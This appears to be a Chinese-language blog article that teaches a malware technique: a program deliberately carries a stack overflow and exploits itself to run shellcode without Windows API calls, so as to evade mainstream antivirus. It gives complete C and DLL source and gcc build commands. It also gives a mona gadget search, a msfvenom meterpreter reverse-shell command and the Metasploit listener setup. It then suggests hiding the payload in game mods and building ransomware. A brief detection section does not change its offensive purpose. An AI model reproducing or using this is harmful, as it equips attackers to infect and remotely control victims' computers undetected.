无Windows API的新型恶意程序:自缺陷程序利用堆栈溢出的隐匿稳定攻击技术研究
字数 1600 2025-08-05 08:20:09
自缺陷程序利用堆栈溢出的隐匿稳定攻击技术研究
前言
本文介绍了一种新型恶意软件制作技术,通过故意在程序中制造栈溢出漏洞并利用该漏洞执行恶意代码,完全绕过传统杀毒软件的检测机制。该技术不使用任何Windows API函数,能够稳定地在所有Windows平台上执行恶意代码,实测可绕过微软Defender、360、天守安全软件、火绒、腾讯管家等主流杀毒软件。
技术原理
传统恶意程序执行流程
传统恶意软件通常采用以下流程:
- 分配内存
- 载入内存
- 将恶意代码变成执行程序
- 执行线程
- 等待线程执行完毕
新型攻击技术原理
攻击者故意在程序中留下栈溢出漏洞,当受害者运行程序时,程序会对自己触发栈溢出攻击,从而执行恶意代码,无需传统的内存分配、载入和执行线程等操作。
技术优势
- 无API调用:不使用任何Windows API函数,绕过行为检测
- 稳定性:解决了传统栈溢出攻击在不同系统环境下的不稳定问题
- 通用性:编译调试一次即可在所有Windows平台稳定运行
- 隐匿性:杀毒软件无法检测程序是否存在栈溢出漏洞
核心概念
栈溢出原理
程序运行时,系统会为程序在内存中分配固定空间(栈空间)。当输入数据超过这个空间时,会造成缓冲区溢出,可能覆盖关键寄存器值,从而控制程序执行流程。
关键寄存器
- EIP寄存器:存储下一条要执行的指令地址(32位和16位程序)
- ESP寄存器:栈指针寄存器,指向当前栈顶位置
NOP指令
NOP(No Operation)是不执行任何操作的空指令,常用于构建"滑梯"(NOP sled)以增加攻击成功率。
技术实现
整体思路
- 编写一个包含栈溢出漏洞的程序
- 通过DLL提供固定的jmp esp指令地址
- 利用栈溢出覆盖返回地址,跳转到jmp esp指令
- 执行放置在栈上的恶意代码
实现步骤
1. 编写自缺陷程序(sdp.c)
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
void Function(char *Input);
int main(int argc, char *argv[]) {
Vuln(); // 调用dll库函数确保编译时引用dll
char buff[10000];
memset(buff, 'A', 2012); // 溢出点在2012个字符
char addr[] = "\x8c\x14\x50\x62"; // dll里jmp esp指令地址
char nop[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // nop滑梯
unsigned char code[] = "shellcode"; // 直接使用msf生成的反向连接
memcpy(buff + 2012, addr, sizeof(addr) - 1); // 覆盖返回地址
memcpy(buff + 2012 + sizeof(addr) - 1, nop, sizeof(nop) - 1); // 添加nop滑梯
memcpy(buff + 2012 + sizeof(addr) - 1 + sizeof(nop) - 1, code, sizeof(code) - 1); // 添加恶意代码
Function(buff); // 触发缓冲区溢出
return 0;
}
void Function(char *Input) {
char Buffer2S[2000]; // 固定缓冲区大小,溢出点在2012个字符
strcpy(Buffer2S, Input); // 调用strcpy触发缓冲区溢出
}
2. 编写DLL程序(fun.c)
#include <stdio.h>
void Vuln() {
int a = 1; // 无意义函数,确保主程序引用dll
}
void Jmp_Esp() {
__asm__("jmp *%esp\n\t"
"jmp *%eax\n\t"
"pop %eax\n\t"
"pop %eax\n\t"
"ret");
}
3. 编译DLL
gcc.exe -c fun.c -m32
gcc.exe -shared -o fun.dll -Wl,--out-implib=libessfun.a -Wl,--image-base=0x62500000 fun.o -m32
4. 查找jmp esp指令地址
使用Immunity Debugger和mona插件:
- 打开Immunity Debugger,拖入sdp.exe
- 在命令执行界面输入:
!mona find -s "\xff\xe4" -m fun.dll - 记录找到的jmp esp地址(如0x62501443),并在sdp.c中更新(注意小端序)
5. 编译主程序
gcc.exe sdp.c -o sdp.exe ./libessfun.a -m32 -mwindows
6. 生成shellcode
使用msfvenom生成反向连接payload:
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.101 LPORT=8011 EXITFUNC=thread -f c -a x86 -b "\x00"
7. 设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.0.101
set lport 8011
set EXITFUNC thread
run
技术关键点
稳定性解决方案
- 固定DLL基地址:通过
-Wl,--image-base=0x62500000指定DLL加载地址 - NOP滑梯:使用大量NOP指令增加执行成功概率
- jmp esp指令:通过DLL提供固定跳转点
通用性实现
- 不同系统环境下DLL加载地址固定
- 只需首次编译时确定jmp esp地址,后续只需修改shellcode
免杀优势
- 仅使用strcpy、memset、memcpy三个函数,无敏感API调用
- 恶意代码在运行时动态执行,静态分析难以检测
- 程序本身是"合法"程序,只是包含漏洞
检测与防护
检测方法
- 内存检测:监控进程内存中的异常代码执行
- 行为分析:检测异常的栈操作行为
- 漏洞扫描:静态分析查找潜在的缓冲区溢出漏洞
防护措施
- 启用DEP:数据执行保护可防止栈上代码执行
- 启用ASLR:地址空间布局随机化增加攻击难度
- 栈保护:使用编译器栈保护选项(如GS)
- 代码签名:验证程序完整性和来源
扩展应用
- 游戏修改:将恶意代码注入游戏程序,游戏运行时后台执行
- 勒索病毒:构建无API调用的勒索软件
- 持久化:结合其他技术实现长期驻留
总结
这种自缺陷程序技术代表了恶意软件发展的新方向,通过利用程序自身的漏洞而非外部注入来执行恶意代码,有效绕过了传统杀毒软件的检测机制。其简单性、稳定性和通用性使其成为极具威胁的攻击手段。防御此类攻击需要从内存保护、行为监控和漏洞修复等多方面入手。